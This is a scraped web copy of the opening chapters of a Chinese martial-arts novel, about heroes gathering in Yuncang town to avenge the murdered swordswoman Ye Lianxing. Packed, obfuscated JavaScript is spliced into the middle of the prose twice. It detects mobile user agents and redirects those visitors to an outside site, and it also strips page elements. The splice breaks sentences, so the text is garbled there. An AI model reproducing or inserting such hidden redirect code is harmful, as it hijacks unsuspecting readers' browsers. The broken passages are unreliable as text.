《定乾坤》 1. 会合 第1章 叶连星死了。 天下第一刀叶连星死了。 就死在云苍镇外的破庙。 ——这个消息很快在江湖中传开,不出三天,云苍镇便挤满了从各地而来的武林人士。 铁笛帮的路瑾、路瑜兄弟出师门任务,回程正好途径云苍镇。 铁笛帮帮主五十大寿在即,两人归程一路上紧赶慢赶未曾歇息过,眼下云苍镇已然离师门不远,又惊闻天下第一刀身死此等大事,便决定停下歇一歇脚。 两人一路从镇北走到镇东,从镇东走到镇南,从镇南走到镇西,都是尚未进店,便被各家酒楼客栈的小二告知客满,最后走到镇中心最大最贵的聚仙楼才勉强找到最后一张空桌。 传闻并未明确提及杀害叶连星的凶手,坐下喝了碗酒解渴后,路瑜便迫不及待同兄长讨论道:“哥,你觉得会是谁杀了叶女侠?” 路瑾沉吟片刻:“二十年前那一场大战后,魔教虽然覆灭,但我们正派也损伤惨重,无数前辈牺牲,就连剑神前辈也都陨落在那一战,叶女侠虽年轻,但三年前便有了‘天下第一刀’之称,如今江湖能与她有一战之力的人也不过就寥寥数人,有本事杀她的,想来也就在这几人当中。” 路瑜道:“能与她有一战之力的,流云剑程长川肯定算一个。” “程少侠武功虽高。”路瑾道,“但他与叶女侠交情颇深,江湖上更是传言二人郎才女貌,佳偶天成,凶手当然不会是他。” 路瑜道:“小药圣水明霞和六绝谷谷主冷千山夫妇也算吧。” “当然算。”路瑾说,“但小药圣同叶女侠是至交好友,冷谷主早年行事虽有几分邪气,但成婚后,一心只跟着小药圣到处采药救人,俨然已快成了半个杏林圣手,而且听闻他们夫妻二人数月前便远赴西域采药去了,至今未归,自然也不会是他们。” “那明月宫宫主呢?”路瑜又想到一人。 路瑾道:“明月宫行事诡谲,宫主身份成谜,是男是女是人是鬼都不明,确实不无可能。” 路瑜:“还有活阎王闻承风。” 路瑾还未来得及回话,便听一道女声插嘴道:“不用猜了,就是姓闻的这个恶贼。” 师兄弟二人齐齐转头,便见旁边桌坐了一男一女,男人弱冠之龄,着一身白衣,清雅俊秀,而先前说话的正是他身旁的少女,只见她一身鹅黄长裙,年约二八,十分玲珑可爱,只一双杏眼通红,像是才哭过一般。 路瑾心思比弟弟略细几分,略一垂眼,见二人身旁各放了一把长剑,剑柄上皆刻着一个“霄”字,又见少女双眼通红,心里便已猜知二人身份。 去岁此时,清霄派掌门的掌上明珠秋向晚失踪,清霄派掌门广撒英雄帖,又豪掷千金设下悬赏令,只求秋向晚平安归家。 不少英雄好汉曾参与此事,最终是叶连星救下了被平海帮所抓的秋向晚,将其分毫无损地送归清霄派。 听闻自那之后,秋向晚便对叶连星钦佩不已,只差没认成异姓姐妹。 而坐她身旁边的男人想来便是与她从小青梅竹马一同长大,几乎与她形影不离的清霄派大师兄夏清和了。 路瑾正色抱拳道:“不知二位可是清霄派的夏少侠和秋女侠?” 听见“女侠”这一称呼,少女有几分不好意思,小脸一红,又不由挺了挺胸脯,稍稍坐直了身子。 “女侠不敢当,我确实是清霄派的秋向晚。” “在下正是清霄派夏清和。”旁边男人不紧不慢接在她后面拱手回礼,他略略垂眸看了眼路氏兄弟腰侧悬挂的铁笛,“二位可是铁笛帮的弟子?” “在下铁笛帮路瑾。”路瑾一边颔首,一边指了指旁边人,“这位是我弟弟路瑜。” 夏清和:“幸会。” 寒暄完,路瑾便又看向秋向晚:“方才秋姑娘说杀害叶女侠的凶手是活阎王闻承风,可是已有确凿证据?” 秋向晚点头:“当然,此事为少林寺空净大师亲眼所见。” 空净大师为这一代少林寺方丈的师弟,据传武学天赋虽不太高,但佛法方面的造诣比其师兄有过之而无不及,是江湖中最具名望的得道高僧之一。 “但没听说过活阎王跟叶女侠有什么恩怨啊?”路瑜疑惑道,“他怎么会突然杀害叶女侠?” 路瑾道:“你忘了他称号是怎么来的吗?” 现如今的江湖,论神秘程度,明月宫排第一,活阎王闻承风便是板上钉钉的第二。 此人身份不详,师承不详,武功到底多高也不详,在江湖中现身次数不多,但每出现一次,必然要杀一个人,见过他的死人远比活人多,因而得名“活阎王”。 路瑾继续道:“听闻当年在四季酒楼,有人嘲弄一句他长相丑陋,就被他一剑穿心,当场气绝都不够他泄愤,尸体更是被他用长剑穿透一路拖至酒楼外带走,据说当时酒楼一楼全是血,就这还不够,出来后他甚至一把火将整个酒楼都烧了,幸而当时客人早被他杀人拖尸的情况吓得四散而逃,不然那天死的人就远不止一个了。” 夏清和这时缓声接道:“他这次杀害叶女侠,倒确实可能有几分缘由,不知二位有没有听过十年前金针路家灭门一事?” 路瑾点头:“听过,金针路家世代行医,救人无数,十年前,却被人一夜间灭了满门,一家三十余口,无一幸存,凶手是谁至今成谜,只知道使的是一把快剑。” 夏清和道:“但陆家当年其实还有一人幸存,是金针陆老爷子的孙子,当时还是襁褓中的婴儿,父母濒死前将其偷偷护在身下,幸运地逃过一劫,后被陆家归家探亲同样逃过一劫的老仆找到,悄悄带回去养大,如今已经十岁。不久前路家这孩子同老仆一同找上叶姑娘,说是听闻她一向对死于快剑的凶杀案十分有兴趣,求她帮忙探查当年的灭门案,叶姑娘近日都在查此事,数日前,家师收到她的传信,信中问及当年惊雨楼的一些行事与细节。” 路瑾倒吸一口凉气:“这么说,路家灭门竟可能是惊雨楼所为?” 夏清和:“多半便是。” 惊雨楼曾是江湖中一个恶名昭彰的杀手组织。 据传惊雨楼楼主只认钱,不论身份,不论善恶,只要钱给到位,不管想让他们杀谁,想让他们杀多少人都行。 且上至楼主,下至楼内一干杀手,个个身怀绝技,武功非凡。 惊雨楼出手,无一失手。 但凡上了惊雨楼追杀名单,便如同上了阎王的追魂令。 惊雨楼这三个字,曾一度是笼罩在中原武林上方一团挥之不去的阴云。 “但是惊雨楼不是已经覆灭了吗?”路瑜插嘴道,“这还是流云剑程少侠的成名战。当年儒剑程家也是全家一夜之间被杀,只有年仅三岁的程公子被父亲好友救下养大,他十余年苦练武功,终于在五年前单枪匹马一举铲除惊雨楼,成功报仇雪恨。” 秋向晚轻哼一声:“惊雨楼这种见不得人的组织,跟阴沟里的老鼠也没什么区别,谁知道他们到底有多少人,程公子当年也是潜心探查许久,才得以一举剿灭他们,有一两个漏网之鱼也不稀奇。” “这倒也是。”路瑾道,“时间也正好对得上,五年前惊雨楼覆灭,不久后,活阎王便凭空出现于江湖,现在想来,活阎王行事风格确实和当年的惊雨楼如出一辙,都是不论身份,不顾善恶,不提情由,杀完即走。只是他倒也心狠,前东家一覆灭,便改头换面继续生活,倒从未找程公子报过仇。” “惊雨楼一个冷血逐利的杀手组织,成员间哪会有什么真心。”夏清和道,“而且惊雨楼当年不知干下多少灭门惨案,他既得以侥幸逃脱,如今又势单力薄,自不会暴露身份,否则别说是程少侠,整个江湖都容不下他,此番若不是叶姑娘已经查知当年真相,他想必也不会愿意冒险向叶姑娘动手,只是他怕是更不会想到天道苍苍,动手时会正巧被空净大师撞上。” 秋向晚红着眼小声接了句:“而且谁说他没找程公子报仇了,程公子估计宁愿自己死,也舍不得叶姐姐受一点伤。” 路瑾叹了口气,又问:“不过空净大师既然正巧也在场,与叶女侠联手竟也没打过那活阎王吗?” 空净大师武学天赋虽说不太高,但那只是相较于少林各界方丈而言,在江湖中,已算一等一的高手。 “空净大师与徒弟是正巧路过云苍镇,到达镇外破庙时战局已定,那恶贼刚好将剑刺进叶姐姐心口,大师根本来不及出手,心口是多要害的地方,叶姐姐转瞬便没了气息。”秋向晚眼中又泛出泪光,趴在桌上呜呜咽咽地哭了起来。 夏清和伸手轻轻摸了摸她脑袋。 “可惜…”路瑾长长叹了口气,“两位赶来云苍镇可是为了接叶女侠回去收殓下葬?” 话音刚落,便听一旁秋向晚哭得更大声。 夏清和一边轻拍师妹后背哄人,一边道:“那恶贼将叶姑娘尸身带走了,他轻功绝顶,空净大师没能追上,我们此番赶来一是为了替叶姑娘报仇,二是为了接回她尸身下葬。” 路瑜不由地打了个寒噤:“他怎么又把人尸身带走了,难不成他那一身功夫是靠什么邪法练成的?” 夏清和知道师妹最担心的也是此事,忙道:“也可能是为了让我们投鼠忌器,毕竟叶姑娘被他所害之事既正好被空净大师撞见,自然无法善了。” “岂有此理!”路瑾一拍桌子,“替叶女侠报仇的事,两位也请带上我们兄弟二人一起!” 秋向晚抬起头,眨巴了下通红湿润的眼睛:“两位少侠也认识我叶姐姐吗?” 路瑾道:“未曾有幸见过叶女侠,但叶姑娘侠肝义胆,我兄弟二人听过她不少事迹,早对她佩服不已。” 秋向晚:“虽然多半是姓闻的使了什么其他肮脏手段,但毕竟连叶姐姐也败在他手下,此番我们过来都是抱着必死的决心找他拼命,两位若和叶姐姐并无交情,却也不必牵扯进来。” “秋姑娘这就太小看人了。”路瑜冷哼一声,“我兄弟二人虽本事不大,却也不是贪生怕死之辈,叶女侠救人无数,没碰上便罢,如今恰巧碰上,我们兄弟俩若连替她报仇都不敢,那不如回家种地算了。” “好。”秋向晚也一拍桌子,“那我先替叶姐姐敬两位义士一杯。” 夏清和也不拦她,甚至慢条斯理地帮忙倒了酒,陪她一同敬了路氏师兄弟一杯。 几人喝完酒,刚放下杯子,忽听得一阵轻而清脆的铃声。 偌大聚仙楼,此刻被一众武林人士坐得满满当当,说话声、怒骂声不绝于耳,按理这么轻的铃声该听不见才是,偏偏这一阵铃声却像是径直传入众人耳中一般。 整个一楼不由一静。 随即,一阵说不清道不明的幽香自外传来。 路瑜脸色倏然一变。 路瑾手瞬间戒备地抓向身侧铁笛。 只见门外一个身量高挑的女人款款步入,她年纪看上去比秋向晚大不了几岁,一双眼内勾外翘,勾魂摄魄一般,容色娇媚无比,只打扮不太像寻常汉族女子,细腰长腿皆半裸半露在外。 不知是谁这时低低惊呼一声。 “翻云覆雨手。” 大堂内早安静一片,除却跑堂小二之外,在场诸位皆是身怀武艺的江湖人士,纵使开口之人声音不高,却也无一不听得一清二楚。 登时有不少方才没认出来人身份的人倏然也一脸戒备地握住了身旁武器。 “翻云覆雨手”这一称号在江湖中绝不陌生。 翻云覆雨手花如锦以一手翻云覆雨掌闻名于江湖,但比起她的翻云覆雨掌,她那出神入化的下毒功夫更是令人闻风丧胆,其人亦正亦邪,脾气阴晴不定,不小心得罪于她,连怎么死的可能都不知道。 秋向晚虽也是第一次见花如锦本人,但曾见过叶连星与其通信,眼下见厅中众人皆是一副如履深渊如临大敌的模样,忙站起来道:“大家不用担心,花女侠是叶姐姐的朋友,不是坏人,应该不是来捣乱的。” 众人不知叶连星何时与花如锦有过交集,却认识秋向晚,也知叶连星曾于秋向晚有过救命之恩,清霄派又是出了名的名门正派。 此刻见秋向晚为花如锦作保,又见花如锦只是盈盈然立于门口,并无裹乱的打算,绝大部分人皆放下戒备松开了武器。 但也有人似乎并不买账,只听重重一声冷哼,那人往门口扫了一眼,又迅疾移开。 “伤风败俗的妖女。” 下一瞬,众人只觉眼前一花,只见方才还站在聚仙楼门口的花如锦不知如何已坐到那开口之人的身旁。 “哟,好俊俏的小公子。” 花如锦娇笑一声,纤纤玉指着那人胸口往下一摸,手上顿时多了一枚黑色的门牌。 这一系列动作不过发生于眨眼间。 开口说话之人是以剑闻名的玉湖山庄少庄主周敬,武功绝不弱,此刻却竟也未曾来得及阻止。 众人心头皆是一凛—— 好快的身法! 不禁都庆幸自己方才未曾出言不逊,亦庆幸花如锦此番前来并无恶意。 却听花如锦笑盈盈道:“天字一号房,正好姐姐今晚还没地方住,小公子不如收留我一晚。” 周敬此刻才反应过来,一边挥掌朝花如锦击出,一边怒道:“妖女,快把我门牌还回来。” “还你——”花如锦下半身未动,仍稳当当坐着,只上身灵巧轻轻一侧,避开他掌风,伸手将令牌朝他掷出。 周敬待要去接,临伸手却发现不对。 却见原本还在花如锦手中的令牌倏然消失一般,朝他掷来的竟是细如春雨的一根银线。 周敬蓦地起身往后一退,背后冷汗顿生—— 只消他方才反应再慢上一寸,那薄如雨丝锋利无比的银线指不定就已经划开了他手掌。 花如锦笑靥如花,这才慢吞吞接上后半句:“自然是不可能的,我今晚还盼着与小公子同宿,好让小公子知道我这翻云覆雨手的名号是由何而来。” 周敬登时面红耳赤。 “你……你……你……”他似乎不太会骂人,你了半天只憋出三个字,“不要脸!” 说着立时又攻向花如锦去抢门牌。 秋向晚与周敬临桌,此事是因周敬先出言不逊而起,她才不想管,此刻听见这番对话,才不由好奇朝师兄看了眼,问道:“难道不是因为她的翻云覆雨掌吗?” 夏清和见花如锦没使毒,也没用成名绝技翻云覆雨掌,周敬也没使家传绝学的剑法,想来两人都还留有分寸,并无拼命之意,本也不想管,闻言一面伸手捂住师妹耳朵,一面转头朝邻桌看去:“花女侠,赵公子出身玉湖山庄,家规向来森严古板,虽然有点迂腐,本心却不坏,你既已略施薄惩,不如看在大家同为叶姑娘报仇的份上,暂且放过他。” “那不行。”花如锦一面同周敬交手,一面回道,“我可能不能白担了伤风败俗这个罪名。” 秋向晚武功不高,耳朵被夏清和这么带着功力一捂,就什么也听不见了,此时见花如锦忽地和师兄聊了起来,好奇心更重,不由伸手去拽夏清和双手。 她这力道原本于夏清和而言,无异于挠痒,但一察觉到她动作,夏清和仍瞬间松开了手。 秋向晚看看他,又瞧向花如锦:“你们在说什么呀?” 花如锦避开周敬攻来的一掌,回头冲她笑着一眨眼,媚意横生:“说你们师兄妹郎才女貌,天造地设,最好今晚就成亲洞房。” 秋向晚与夏清和自幼青梅竹马一同长大,心中早暗生情愫,家长们对两人婚事也早有默契,但少女到底脸嫩, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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据传断刀门创立人狂悖嚣张半辈子,年过半百后,却败在了当时初出茅庐,还是一个小少年,还未曾获得“剑神”之名的苏云起手下。被苏云起用寻常铁剑砍断宝刀,他方知天外有天,人外有人,自此潜心修炼,晚年竟大彻大悟,创出独门刀法,曾一度也有过“天下第一刀”之称。 来人气息凝练,内功并不输花如锦,显然也是个高手,店内不少人一经照面,便认出他是这一代断刀门的少门主余响。 据传余响自幼便天资聪颖,极具习刀天份,甚至有望赶超先辈,重新光耀断刀门“天下第一刀”的门楣。 ——却不曾想半路杀出一个叶连星。 为夺回自家“天下第一刀”的名号,余响第一时间便给叶连星下了战帖约战。 叶连星敬他是名门之后,按照江湖规矩同他打了一场,赢得毫不意外,岂料余响是个不服输的性格,每每回去练一阵子,便又会继续向叶连星挑战。 叶连星一开始还爽快应战,哪知一连数年,每隔数月,余响就会向她挑战一次,屡战屡败,屡败屡战,毫不气馁,到后来叶连星实在烦不胜烦,索性拿收不完的战帖直接点火烤兔子吃,不再搭理他。 听闻余响得知后,上个月气得直接给叶连星下了一封死战书,约她于下月中决一死战。 但没想到下个月还没到,叶连星已经遇害。 此刻见他出现在此,众人不禁皆好奇他的来意。 却在这时,有人出声替大家问了出来。 “姓余的,你来干什么?”少女语气愠怒,一双红肿的眼睛怒目朝他望去,正是秋向晚又站了起来,“叶姐姐生前你不停找她麻烦都算了,此刻还来捣乱也得先问问我们大家同不同意!” 余响抱着断刀,硬邦邦道:“谁说我是来捣乱的。” “你不来捣乱,那你做什么?”秋向晚戒备地看着他,“你可别说你也是好心来帮叶姐姐报仇的。” 余响冷哼:“谁要帮叶连星那个臭女人报仇,但她要死,也只能死在我刀下,既然不小心死在了别人剑下,那我只能杀了那人来抢回我们家‘天下第一刀’的名号了。” 秋向晚眨眨眼:“哦,那你这不是就来给我叶姐姐报仇的吗。” “你听不懂人话吗,说了不是给她报仇。”余响怒瞪了她一眼,“只是——” 他略顿了顿。 秋向晚:“只是什么?” 余响神色冷肃,侧脸线条乍眼望去十分冷硬,隐隐有几分杀气泄露:“只是我辈中人,士可杀不可辱,把人尸身掳走算什么英雄好汉,小爷我最看不上这种败类,见一个杀一个。” 秋向晚也轻轻哼了声:“算你还说了句人话。” 见余响确实不是来捣乱的,她便也坐下,懒得再搭理他。 余响没再开口,也没去找人拼坐,抱着刀走到一侧墙边一靠,闭目养神。 聚仙楼已然客满,店内却还时不时有顾客进门。 有的是无名小卒,有的是江湖名宿,有风尘仆仆赶来的叶连星旧友,也有像余响这般同她有过一番恩怨的对手。 路氏师兄弟喝完一壶酒,商量好如何去信给师父说明情况的事,见大家依旧无起身的打算,便向夏、秋二人打听道:“大家伙都还守在客栈不出发,是还在等什么人吗?” “不是。”秋向晚摇摇头,“是我们还没找到那恶徒的踪迹,想来他胜也只能惨胜我叶姐姐,估计暂时不知躲到哪条阴沟里养伤去了。” “那外出找那恶徒踪迹的不知是哪位兄弟?”路瑜性子更急几分,“不若大家伙一起出去找,多一个人多一分力,也免叫那活阎王再多苟活几日。” 夏清和接道:“找人的是飞无影。” “飞无影”柳雁飞轻功非凡,曾是江湖第一等寻踪觅迹好手,只是也因此惹上不少麻烦,三年前已然金盆洗手。 “飞无影不是退隐江湖了吗,这几年没人能找着他。”路瑜好奇问,“你们是怎么找出他踪迹的?这不该比找活阎王更难?” “他自己找上来说要帮忙的。”秋向晚轻扬下巴,“说是曾欠过叶姐姐一个人情,这次来还掉。” “原来如此。”路瑾四下张望一圈,“流云剑程少侠也在聚仙楼吗,怎不见他?” 秋向晚抬手指指楼上,叹气道:“一直把自己关房间里呢,饭菜怎么送进去的,都是怎么样送出来的,一点没吃。” 路瑾道:“不是还得替叶女侠报仇吗,不吃饭怎么行,你们没劝劝吗?” “劝不动。”秋向晚眼眶再次湿润,“我自己都没胃口。” 路瑾长长叹气,一时无话。 人生无常,江湖更无常。 云苍镇不大,这日傍晚,镇内大小客栈便都已挤得满满当当,再容不下多的客人。 好在江湖人士风餐露宿都是常事,随意找个人家借宿一晚,或者寻个破庙对付一宿也都不是问题。 翌日一早,秋向晚被师兄叫起吃早饭,两人双双行至楼下,便见大堂内早已坐满。 为怕错过凶手消息,不少昨晚露宿之人也早早赶回了镇内。 店内人多座少,但江湖中人大多随性爽快,此行又都为同一目的,拼桌的不在少数,更有聊上几句便觉相逢恨晚的,只中间那桌空荡荡只坐了一人。 ——正是昨日一度让大家大为戒备的花如锦。 秋向晚自被叶连星救下后,在心里只差没将对方奉为神明,昨日虽是初见花如锦,但叶连星的朋友,当然也就是她朋友,便大大方方拉着师兄过去找花如锦拼座。 一顿早饭还未吃完,屋外忽然一阵浓厚血腥味传来。 夏清和眉梢一皱。 下一瞬,一个满身是血的人忽然出现在门口。 2. 出发 第2章 来人满身血污,情状十分可怖,血腥味扑鼻。 大堂内瞬间兵刃摩擦声四起,不少人戒备地站了起来—— 店内这么多人,方才竟无人看清这血人是如何出现在门口的。 那浑身是血的人这时忽地抬脚往里一走。 不少人立时彻底拔出兵刃,随时准备应战。 却见那人只往前走了一步,就扑倒在店内第一张木桌的桌脚边。 那桌客人倏地后纵退开数步。 但那血人一扑倒,便没了动作,也不知是晕了,还是别有用意。 有人大着胆子往前迈步,却也不敢大意,抽出剑身,只用剑尖试图去将人翻至正面。 这般万一有变,也能立时拿剑招架。 夏清和却像是看出什么似的,忽道:“且慢,应该是‘飞无影’柳大侠。” 秋向晚只觉眼前一花。 夏清和与花如锦已经闪身至门口。 她忙也起身跟上去。 夏清和半蹲下身,小心将人翻转过来。 那人脸上也满是血污,但仔细一看,确是飞无影柳雁飞无疑。 有人轻吸一口凉气:“柳大侠如何伤成这般。” 柳雁飞似乎还有意识,抬手一抓夏清和袖口,雪白的布料瞬间被抓出一个血红的手印。 “活阎王……在……六绝谷。” 说完这句话,他再撑不住闭眼晕了过去。 花如锦探手去摸他脉门。 医毒不分家,她虽算不上什么杏林圣手,却也略通点医理。 “没内伤,死不了,我这只有杀人的毒,没有能疗伤的药,送他去医馆吧。” 路瑾道:“门口不远就有家医馆,我同路瑜这就送柳大侠过去。” 夏清和:“麻烦二位了。” 路氏兄弟将人带走送医后,地上还留了好大一滩血迹,想来柳雁飞虽无性命之忧,但受伤应该也着实不轻。 柳雁飞号称“飞无影”,即便武功不算顶尖,但轻功在江湖中可是名列前茅,打不过,逃命自保总没问题。 不成想,此番竟伤得这般重。 不少人心有戚戚。 也有冲动之人当即怒喝道:“岂有此理,先害了叶女侠,如今又将柳大侠伤成这样,老子这就去砍了那恶徒!” 旁边的人伸手一拦:“你怎么去,你没听见刚刚柳大侠说那活阎王身在何处吗?” “六绝谷。”有人低声沉吟。 六绝谷就位于云苍镇外不远,是六绝谷谷主冷千山的地盘。 冷千山极擅奇门遁甲之术,谷内机关遍地,未经他允许,擅闯之人,有死无生,有去无回。 “他怎么会在六绝谷?” 众人七嘴八舌地议论起来。 “会不会是冷千山同活阎王合谋害死叶女侠的?” “也不无可能,叶女侠可是天下第一刀,单打独斗的话,我始终不相信她会轻易就输给别人。” “乱说什么呢。”秋向晚反驳道,“小药圣是叶姐姐最好的朋友,她夫婿怎么可能加害叶姐姐。” “怎么不可能,你别忘了在跟小药圣成亲前,六绝谷主也算不上什么正派人士,多少人曾命丧六绝谷。” 秋向晚冷哼:“那些人听信六绝谷有秘宝的谣言,擅闯六绝谷意图劫取,冷谷主未必还要好菜好饭招待他们不成,而且叶姐姐被活阎王所害可是空净大师亲眼所见,这还能有假吗。” “那你说活阎王未何会在六绝谷?” 秋向晚又不是活阎王本人,当然不知缘由,想了下辩解道:“奇门遁甲又不是什么独门秘术,他既能进去,就说明他肯定也擅长于此道,或者有帮手擅长于此道,柳大侠这不也从六绝谷出来了吗,我估摸着他是知道叶姐姐遇害的消息一旦传开,定会有大帮人前来替她报仇,他没有信心同我们一大群人同时交手,便就近选了六绝谷,有机关阵法可利用,届时他便可以轻易以一敌多,先操纵机关阻挡我们,只放少部分人进去,分批击溃,反正谁都知道小药圣和冷大侠去了西域,并不在家。” “说起擅长奇门遁甲,”夏清和起身站到师妹背后,“不知诸位有没有想起一个人?” “谁?” “芙蓉会主吗?” 秋向晚想也不想道:“芙蓉会主关前辈定然也不可能是帮手,她同我一样,都曾受过叶姐姐的救命之恩。” 夏清和也摇头:“我说的不是关老前辈。” “那是谁?” 夏清和:“惊一。” 这个名字一出,大堂内极短暂地静了一瞬。 秋向晚瞪大眼睛,惊了一瞬,才开口道:“师兄你是怀疑活阎王是惊一?” 夏清和颔首。 “惊一”原本只是惊雨楼杀手的一个序号。 惊雨楼杀手按武功高低以序号排名,各杀手代号并不固定,时而有变动。 但据传这一任“惊一”自入楼以后,“惊一”这个位置便再没换过人,凭一己之力,让原本不断换人的序号变成了他自己独一无二的代号。 惊一年龄不详,样貌不知,连武功路数都没人能说清,因为除了惊雨楼内部人员之外,所有见过他的人,都早已死在了他剑下。 只知晓他用的是剑。 一把极快的剑。 杀人时常都是一剑穿心,即刻毙命。 “如果活阎王就是惊一,”旁边一名老者摸着胡须道,“那他当年能逃过程少侠的报仇,如今又能杀害叶丫头,倒是也说得过去了。叶丫头虽然天赋奇佳,但截云刀不是杀人的刀法,她又是十六岁才下山,对敌经验与狠劲自然比不过从尸山血海中杀出来的惊一。不过,若对方真是惊一,如今又占据了六绝谷的地理优势,大家这次怕是真要做好有去无回的准备。” 大堂中静了一瞬。 “管他以前是谁。”花如锦不耐烦道,“我只知他现在是杀了叶连星的凶手,既然人已经找到了,你们还磨蹭什么,要是害怕的话,大可以留下不去,叶连星不会怪你们。” “姑娘倒也不必拿话激我等。”有人回道,“不管活阎王是不是惊一,既能杀害叶女侠,想来除了程少侠之外,论单打独斗的话,我们估计谁也不会是他对手,此事大家都心知肚明,若怕死的话,我们根本不会来此地。” “好了,大家别为这种小事争执。”夏清和打圆场道,“不过花女侠说得不错,既已找到他的藏身之处,未免再生变故,我们还是尽快赶过去,麻烦大家去通知一下其他客栈的人和镇外的空净大师,我同师妹上去通知程公子及楼内其他人,一柱香后,我们镇外破庙会合。” 众人点头应诺后,便鱼贯而出。 夏、秋二人走上楼,一路通知完仍在房间的其他人,直至走到最后一间客房。 秋向晚抬手,刚想敲门,门却先一步从内打开。 乍一见到里面那人模样,秋向晚手顿然僵在半空。 不过两日未见,里头高大英俊的男人一头青丝竟已全然变白。 夏清和也是一怔,但他与程长川交集不多,不便,也完全不必问及缘由,便直陈来意道:“方才柳大侠来过,说已经探查到活阎王人在六绝谷。” 程长川淡声道:“我听到了。” 秋向晚此时才醒神,垂眸见他手上拿一把簇新长剑,从剑柄到剑鞘都通体漆黑,仔细观看才能看出剑鞘下方刻有一个不显眼的鱼纹,那是铸剑大师鱼长青的独门标记。 不出意外的话,抽出剑身,应能看出上面刻有“流云”二字。 “叶姐姐给你定的剑已经铸好了?” 程长川点头。 江湖中神兵难得。 绝大多数人用的都还是普通刀剑。 程长川以往用的也是一把再普通不过的长剑。 只是普通兵刃在不同人手中,能发挥的效用自然也完全不同。 高手到了一定境界,飞花摘叶都能伤人。 寻常凡铁到了程长川手上,也能变成再锋锐不过的利刃。 据说当初覆灭惊雨楼,他用的也就是这么一把普通长剑。 只是他惯用的长剑在今年某次过招过程中,被叶连星一刀砍断。 叶连星便从六绝谷主冷千山那拿了一把叫“溪雪”的剑借他暂用,又托铸剑大师鱼长青铸一把以“流云”为名的新剑赔他。 那时正逢端午,叶连星刚救下被人追杀的芙蓉会主关情不久,她自己也因此受了不轻的伤,被小药圣水明霞关在六绝谷中养伤。 秋向晚同师兄去给她送礼,有幸也在六绝谷住了几日。 当时叶连星被小药圣勒令一月内不许动武练功,只半月她便忍不住,悄悄喊了程长川陪她过招。 程长川从来拒绝不了她。 那把铁剑就是在那次过招中被砍断。 没等叶连星重新找把剑再同他继续交手,小药圣就气呼呼地找了过来。 结果就是堂堂天下第一刀被气鼓鼓的小药圣塞了一大碗苦药,并扣掉了一顿夜宵。 叶连星养伤期间,连荤腥也一并被禁掉,当晚半夜饿得受不了,便起身偷偷摸摸溜去后山找兔子。 程长川似乎早猜到她想做什么,早早便在屋顶上等着。 秋向晚那时正同师兄在后院聊天,恰巧撞上这一幕,当即决定与他们“同流合污”。 没想到一到后山,就被困在了阵法中。 他们四人没有一人懂破阵之法,六绝谷如今到处种满了小药圣的各种宝贝药草,叶连星也不敢暴力破阵,四人苦兮兮在阵里困了足足一个时辰,才被冷千山冷着脸放出来。 小药圣气归气,最后还是给他们一人塞了一碗暖乎乎的赤豆小圆子。 只是如今剑已铸好,叶连星人却不在了。 叶连星虽有“天下第一刀”的尊称,其实比她也大不了几岁,今年也才不过二十一岁。 “可惜叶姐姐都没能亲眼看见这把剑。”秋向晚眼眶泛红,“但若用这把剑手刃仇人,也可以当是叶姐姐亲手报仇了吧。” “当然。”程长川道,“走吧。” 流云剑向来性冷,也只在叶连星面前才会露出一两分温柔模样。 此刻大步向前,白发被风吹起,背影透着无限萧索。 秋向晚心头酸涩,不由轻轻叫了旁边人一声:“师兄。” 夏清和转头:“嗯?” 秋向晚吸了吸鼻子:“若此番我们真打不过活阎王,我一定要死在你前面。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897279|192262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >夏清和抬轻揉了把她脑袋:“说什么傻话,师兄怎么可能让你死在我前面。” - 一柱香后,近日赶来的江湖人士都齐聚到云苍镇外的破庙前。 叶连星身死的破庙已然成了一片废墟。 那日为阻止活阎王带走叶连星尸身,空净大师曾与他对过一掌,少林金刚掌刚猛无比,本就已然破败不堪的破庙转瞬坍塌,闻承风却借这一掌的掌力连退数尺。 空净大师不擅轻身功夫,最终还是没能追上他。 各路人士聚齐后,正要出发,却忽见两骑白马疾驰而来。 两匹马一前一后。 跑在前方的马匹上坐着一个年过三旬的美貌女子,腰间系一条红色长鞭,单手持缰,甚是飒爽。 后头那匹马上坐的却是一个年纪约莫十一二岁的小少女,她个子矮小,身后却又斜背着一把又长又大的刀,衬得她身形越发瘦弱纤细。 这一鞭一刀都不陌生。 很快便有人认了出来。 “是芙蓉会主关情和霞影刀遗孤陆清晓。” “她们居然也来了。” “她们也确实应该来。” 不同于亦正亦邪的花如锦,大家几乎都不知她竟与叶连星有交情,芙蓉会主关情同霞影刀遗孤与叶连星的渊源在江湖中却并不是秘密。 霞影刀由陆清晓的姥姥陆霞影自创。 那时断刀门初代门主还未曾遇见少年剑神,霞影刀虽没有“天下第一刀”的实际名号,在当时的江湖中却也是无人不知、无人不晓,一时风头无两的存在。 只是陆霞影从来都是个只知向前不知后退的暴脾气,又不够爱惜身体,中年过后便积累了一身伤病,连自己都发挥不出霞影刀全盛时期的威力。 偏偏女儿也不是学刀的材料,霞影刀就此没落。 四年前,陆霞影病逝。 陆家大办丧事,前来吊唁的宾客中却混进了一大批心怀不轨之徒,意图夺取霞影刀秘籍。 ——霞影刀虽没落,那只是因为后继无人,并不代表霞影刀不强。 一场好好的白事转瞬变成血色丧礼。 叶连星初下山时曾找陆霞影讨教过刀法,与陆家人有几分交情,但收到消息之时,她人在南疆,赶到陆家后已然晚了一步。 她那年也不过十七岁。 单枪匹马地闯进了已经犹如龙潭虎穴的葬礼中,一人一刀,带着陆霞影毕生心血和仅剩的血脉,生生闯出了一条血路。 芙蓉会主关情成名绝技是一手三十二路芙蓉鞭法。 十年前,她创立芙蓉会,收容各地落难女子。 叶连星救下陆清晓后,就将她安置在了关情的芙蓉会中。 